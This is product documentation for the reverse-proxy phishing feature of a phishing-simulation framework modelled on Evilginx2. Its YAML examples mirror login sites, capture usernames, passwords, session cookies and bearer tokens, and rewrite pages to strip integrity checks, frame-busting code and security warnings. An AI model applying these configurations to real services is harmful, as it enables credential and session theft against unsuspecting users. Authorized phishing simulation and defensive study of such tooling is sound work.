Proxy Management

Proxies Overview

The Proxy feature is used to mirror websites, manipulate their content and capture credentials and sessions.

The best and most well known man-in-the-middle attack framework is Evilginx2 and this feature is highly inspired and also borrows from its codebase. We highly recommend this tool for dedicated reverse proxy phishing, it is the king 👑. However the usefulness of implementing similar functionality into Phishing Club was too much to ignore. However the implementation is not 1 to 1 as Phishing Club is not solely a MITM phishing framework.

Phishing Club - Proxies overview
Proxies overview showing configuration status and capture rules

Creating Proxy Configurations

Proxy creation involves defining domain mappings, capture and rewrite rules in a YAML format. This configuration determines how traffic is intercepted, what data is captured, and how the data flow is modified.

Phishing Club - Create proxy
Proxy creation modal with YAML configuration

Basic Information Configuration

Proxy Configuration Fields
Field Description and Requirements
Name Name of the proxy
Description Optional description
Start URL The initial URL where proxy session begin. This URL's domain must be defined in the YAML configuration mappings.

YAML Configuration Structure

The YAML configuration defines the core behavior of your proxy, including domain mappings, data capture rules, and content modification directives.

Configuration Schema

# version is optional - default to 0.0
version: "0.0"
# outgoing traffic proxy
proxy: 127.0.0.1:8081

# global contains rewrite and capture section that apply to all domains
global:
    # example of a global rewrite section that replaces integrity attributes
    rewrite:
        - name: loose rename integrity
          find: integrity=
          replace: data-no-integrity=
          from: response_body

# domain section sets up the relation between proxy domains and targets along with capture and rewrite section.
login.example.com:
    # our proxy domain
    to: login.phishingclub.test
    # capture section informs what to capture in traffic
    capture:
        # required identifier
        - name: username
          # HTTP method
          method: POST
          # url path regex pattern
          path: /auth
          # regex pattern to capture or if 'from' is 'cookie', the name of the cookie
          find: username=([^&]+)
          # where to attempt the capture from
          from: request_body # where to search: request_body|request_header|response_body|response_header|cookie|any
        - name: password
          method: POST
          path: /auth
          find: password=([^&]+)
          from: request_body
        - name: session_token
          method: GET
          path: /dashboard
          find: SESSIONID
          from: cookie

# multiple domains can be setup for proxying
www.example.com:
    to: www.phishingclub.test

Configuration Components

YAML Configuration Elements
Element Purpose and Usage
version Configuration format version for compatibility and future upgrades
proxy Upstream proxy server address for routing traffic (optional)
global Rules and modifications applied to all domain mappings in the configuration
Domain Mappings Individual domain configurations specifying domains, proxy domains, capture rules, and rewrite directives

Domain Mappings

Domain mappings define how website domains are redirected to your phishing domains. Each mapping specifies the relationship between proxied domains and your controlled domains.

Mapping Structure

# target domain
login.example.com:
    # your phishing domain
    to: login.phishingclub.test
    capture:
        # ... capture rules here
    rewrite:
        # ... rewrite rules here

When saving the proxy, the domains will be created in the domains section. Any changes such as removing or adding a domain will be handled automatically.
Be mindful of certifiate provider limits.

Multi-Domain Support

Applications often span multiple domains (e.g., login.example.com, app.example.com, api.example.com):

login.example.com:
    to: login.phishingclub.test
    # ... rules for login domain

app.example.com:
    to: app.phishingclub.test
    # ... rules for application domain

api.example.com:
    to: api.phishingclub.test
    # ... rules for API domain
		

Data Capture Rules

Capture rules define what information to extract from user interactions during proxy sessions. These rules specify where to look for data, what patterns to match, and how to extract credentials, tokens, and other valuable information.

Capture Rule Structure

capture:
    - name: username # unique identifier for this capture
      method: POST # HTTP method to monitor
      path: /auth # URL path pattern to match
      find: username=([^&]+) # regex pattern for extraction
      from: request_body # data source location
		
Capture Rule Parameters
Parameter Description and Usage
name Unique identifier for organizing and referencing captured data
method HTTP method to monitor (GET, POST, PUT, DELETE, etc.)
path URL path pattern to match for triggering the capture rule
find Regex pattern for data extraction. Use capture groups ([^&]+) to extract specific values
from Data source: request_body, response_body, cookie, header

Common Capture Scenarios

Username and Password Extraction

capture:
    - name: username
      method: POST
      path: /login
      find: username=([^&]+)
      from: request_body
    - name: password
      method: POST
      path: /login
      find: password=([^&]+)
      from: request_body
		

Session Token Capture

capture:
    - name: session_token
      method: GET
      path: /dashboard
      find: SESSIONID
      from: cookie # captures complete cookie value
		

Warning: The captured cookie event is only saved and submitted AFTER ALL CAPTURES have been completed.

API Key Extraction

capture:
    - name: api_key
      method: GET
      path: /api/
      find: Authorization: Bearer ([A-Za-z0-9\-_]+)
      from: header
		

Content Rewrite Rules

Rewrite rules enable modification of website content during proxy sessions, allowing you to customize the user experience, hide security warnings, or inject additional elements that enhance the realism of your phishing simulation.

Rewrite Rule Structure

rewrite:
    - name: hide_security_warning
      find: security-warning
      replace: hidden
      from: response_body
		
Rewrite Rule Parameters
Parameter Description and Usage
name Unique identifier for organizing and managing rewrite rules
find Text pattern or regex to locate content for replacement
replace Replacement text or HTML to substitute for the matched content
from Target location: request_body, response_body for content modification

Common Rewrite Applications

Content Security Policy Bypass

rewrite:
    - name: disable_csp
      find: integrity=
      replace: data-integrity=
      from: response_body
		

Branding Modification

rewrite:
    - name: custom_branding
      find: "Company Login Portal"
      replace: "Secure Access Portal"
      from: response_body
		

Global Rules

Global rules apply to all domain mappings within a proxy configuration, providing behavior across multiple domains without duplicating rule definitions. This approach simplifies configuration management for multi-domain applications.

Global Rule Example

global:
    rewrite:
        - name: universal_csp_bypass
          find: integrity=
          replace: data-no-integrity=
          from: response_body
        - name: remove_frame_busting
          find: top.location != self.location
          replace: false
          from: response_body
		

Global rules are particularly useful for addressing common security mechanisms that appear across all domains in an application, such as Content Security Policy headers, frame-busting scripts, or branding elements.

Proxy Domains

Proxy configurations automatically create corresponding proxy domains in your domain management system. These domains are specially configured to handle proxy traffic and cannot be used for regular landing page hosting.

Phishing Club - Proxy domains in domain list
Proxy domains displayed in the domain management interface

Proxy Domain Characteristics

  • Automatic Creation: Domains are automatically created based on proxy YAML configuration mappings
  • Special Routing: Traffic to proxy domains is routed through the proxy engine rather than standard web server
  • Management Restrictions: Proxy domains cannot host regular landing pages or website content
  • TLS Configuration: Proxy domains support both automatic and manual TLS certificate management

Security and Legal Considerations

Proxy-based phishing simulations involve intercepting traffic to websites and capturing sensitive data. This capability requires careful consideration of legal, ethical, and security implications before usage.

Important notes and considerations

  • Develop the proxy configuration in a development enviroment. The Phishing Club development enviroment comes with a docker compose setup that also spins up a `MITMProxy` container where proxied traffic can be inspected in a web UI.
  • Domains can not both serve static and proxied content
  • Different proxy configurations can not share domains
  • We can not offer free support for development of proxy configurations
  • Performing proxy operations is much more heavy than normal phishing pages

Example

This proxy configuration is for The internet login

URL: https://the-internet.herokuapp.com/login

version: "0.0"
the-internet.herokuapp.com:
    to: theinternet.phishing.test
    capture:
        - name: credentials
          method: POST
          path: /authenticate
          find: username=([^&]+)&password=([^&]+)
          from: request_body
          required: true
        - name: cookie
          method: POST
          path: /authenticate
          find: rack.session
          from: cookie
          required: true
        - name: logged in
          method: GET
          path: /secure
          from: any
          required: true